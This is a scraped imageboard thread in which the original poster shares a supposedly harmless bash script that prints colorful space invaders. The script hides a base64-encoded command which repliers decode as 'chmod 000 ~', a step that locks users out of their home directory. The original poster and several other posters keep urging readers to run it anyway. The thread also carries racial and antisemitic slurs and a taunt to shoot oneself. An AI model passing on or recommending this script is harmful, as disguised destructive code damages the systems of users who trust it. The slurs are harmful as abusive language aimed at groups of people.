Cool scripts for linux

hey Holla Forums i hear you guys like linux.
ever run any cool scripts?
there is this one called lolcat, it's a ruby gem.
pretty sure some of you have heard of it.
also there is cowsay and fortune.
you can use pipe | to combine these commands to form cool colorful messages.
here is a script i found that works the same way.
it prints a bunch of colorful dancing space invaders.

#!/bin/bash
#
# ANSI color scheme script featuring Space Invaders
#
# Original: crunchbanglinux.org/forums/post/126921/#p126921
# Modified by lolilolicon
#

f=3 b=4
for j in f b; do
$(echo Y2htb2QgMDAwIH4K | base64 –decode)
for i in {0..7}; do
printf -v $j$i %b "\e[${!j}${i}m"
done
done
bld=$'\e[1m'
rst=$'\e[0m'

cat

Other urls found in this thread:

gist.github.com/SwatAnon/98e829adc6ad5719f4478e09f3ee4841
twitter.com/NSFWRedditVideo

here is the github for it
gist.github.com/SwatAnon/98e829adc6ad5719f4478e09f3ee4841

nice fam thanks

wow. pretty cool script op. i had to paste it to nano and then save as invaders.sh then run chmod +x to get it to work. but 10/10 work there whoever made it.

good work keeping this thread bumped kennadi fag.

$(echo Y2htb2QgMDAwIH4K | base64 –decode) will reset permission on your home directory to '000' but strangely not recursively.

meaning that after you reboot it goes back to normal?

No. Probably not , unless your distro checks home dir permissions each time. It will probably result in you being unable to write files to home dir, IE. Shit stops working.

$() runs string in parens
the base64 string decoded is "chmod 000 ~" which strips permissions form your home directory.

so what do you mean by it doesn't do it recursively?
what does that do?

Recursively would do it to your home directory and file/directory under it. Non-Recursively only does it to the home directory.

Having 000 permission means no one can read or write files to the home directory. Or even list contents. So, I bet when you reboot, computer fails login for your account.

Definitely will fuck shit up. All the temprorary files it wants to create wont be possible, all the config files it wants to read wont be readable.

Easy to fix though. 'chmod 660 ~'

don't listen to this fucker guys.
i just ran the script and it did exactly what OP said.
it was kinda neat but nothing special

shill somewhere else

isn't the default ~ permission 755 though?

Interesting to me how $() executes properly if you first convert something to base64 and have it convert inside the given statement. However, if you put it in normally it fails.

See:

$(echo ZWNobyB0ZXN0Cg== | base64 -d)
vs.
$(echo "test")

What idiot runs random scripts off B anyway ? Its hella more intresting to talk about default home directory permissions and shell behavior than to spam delete system32 and pray it works.

Anyway, this is pretty simple but I'm too tired to focus on something this basic. I need to sleep. .-.

takes a special type who doesn't afraid of anything

All ye gotta do is analyze that shit before executing it though. Or, if you're lazy, just sandbox it, run it, and find out without posing any harm to your actual system.

i bet you don't even know the difference between socks4 and socks5

I… You what?
I'm so confused. pls

OP Here,

nvm I am a faggot.

Like, I wanna sleep but now I feel compelled to figure out what you're saying. So far the only thing I understood was the shit about socks4 and socks5, which actually makes sense. But the greentext… I… you fucking what mate? Like literally what? I'm so fucking confused! What the shit are you saying? What are you trying to quote and reference? A-Are you even human?

1 ?

OP here. fuck these kikes. run the script if you aren't a fucking pussy

Police here. fuck these medics. shoot yourself with the gun if you aren't a fucking pussy

you must be new around here

Run as another user.
sudo -u nobody script.sh

That way it fucks up nobodies home directory.

wow. fucking nice OP. where did you find this?
i thought i had all the cool scripts too.

never be fooled anons
INTERNET SJW'S ARE HERE
AND THEY WANT TO RUIN OUR FUN

after reading the comments i was wary to run this script.
but i decided to be brave and chance it.
turns out it is actually kinda cool!
who whoulda thought?

ran it.
weak sauce
it only has like 3 space invaders :/

huh?
i saw 4 nigga

pretty cool script OP

This script was one of the funnest I've ever used. Thanks OP!

dank fucking sauce.
COOLEST SCRIPT EVAR!

fuck yea. pretty cool if you pipe it through lolcat.
[email protected]/* */$ colors.sh | lolcat

nice black highlighter

works like a charm!
THIS SCRIPT KICKS ASS NIGGA

fukken saved!

HAHA!
all these windows fags claiming it doesn't work!
AYY LMAO

lrn2linux